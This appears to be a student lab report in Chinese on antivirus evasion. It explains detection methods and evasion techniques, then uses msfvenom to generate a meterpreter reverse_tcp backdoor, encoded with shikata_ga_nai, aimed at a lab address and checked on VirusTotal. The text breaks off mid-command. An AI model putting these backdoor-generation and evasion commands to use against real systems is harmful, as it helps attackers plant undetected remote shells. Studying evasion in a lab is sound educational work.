目录
1 基础问题回答
1.杀软是如何检测出恶意代码的?
有基于特征码的检测、启发式检测和基于行为的检测等方法。
基于特征码的检测会根据恶意代码中所包含的一些特有的数据信息形成一个恶意代码的特征库,通过特征库对比该程序代码中数据信息来判断是否为恶意代码。
启发式检测就是根据代码的大小、结构等片面特征去判断一段代码是否为恶意代码。精确率较低、开销大,但可以检测出0—day漏洞,具有一定的通用性。
基于行为的检测方法是通过对比这段代码运行时的行为和功能去判断是否为恶意软件。
2.免杀是做什么的?
通过一些技术手段让木马等病毒能不被杀毒软件检测出来。
3.免杀的基本方法有哪些?
①改变特征码
只有exe文件:加壳(压缩壳、加密壳)
有shellcode:重新编码(encode、payload)
有源代码:用其他语言重新编写(veil-evasion)
②改变行为
改变通讯方式(尽量使用反弹式连接、隧道技术、加密通讯技术)
改变操作模式(基于内存操作、减少对系统的修改、加入混淆作用的正常功能的代码)
4.开启杀软能绝对防止电脑中的恶意代码吗?
不能,如果恶意软件的免杀做的很好,免杀前后软件特征相差很大。杀毒软件中通过对比特征码或者启发式检测都无法检测出来,通过改写恶意代码的行为也实现了基于行为检测的免杀。那么该恶意软件大概率是无法被检测出来了。
2 实验环境
免杀测试平台:virustotal(网页链接:https://www.virustotal.com)
3 实践内容
3.1 免杀基本方法
3.1.1 msf 编码器
利用kali中msfvenom中的编码器实现编码免杀。
msfvenom
Kali中的 msfvenom 取代了msfpayload(MSF攻击荷载生成器)和msfencode(MSF编码器),常用于生成后门木马。
msfvenom 常用参数
-l 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, al
-p 指定需要使用的payload(攻击荷载)。
-f 指定输出格式
-e 指定需要使用的encoder(编码器)编码免杀。
-a 指定payload的目标架构
-i 指定payload的编码次数
利用exp2中meterpreter生成的后门软件来进行免杀尝试。(20204323_baakdoor.exe)
先在virustotal中检测未经处理的后门软件。如图所示,检出率为54/69。
使用编码
使用编码器shikata_ga_nai进行编码(参考上文中msfvenom 常用参数)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.130 LPORT=4323 -e x86/shikata_ga_nai -b '\x00' -f exe > 20204323_backdoor.exe
对编码后的文件进行检测,检出率为51/68,可以看出编码后检出率略微下降了。
编码多次
在命令行中加入参数-i,编码多次。(在本次实验中我编码了23次)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=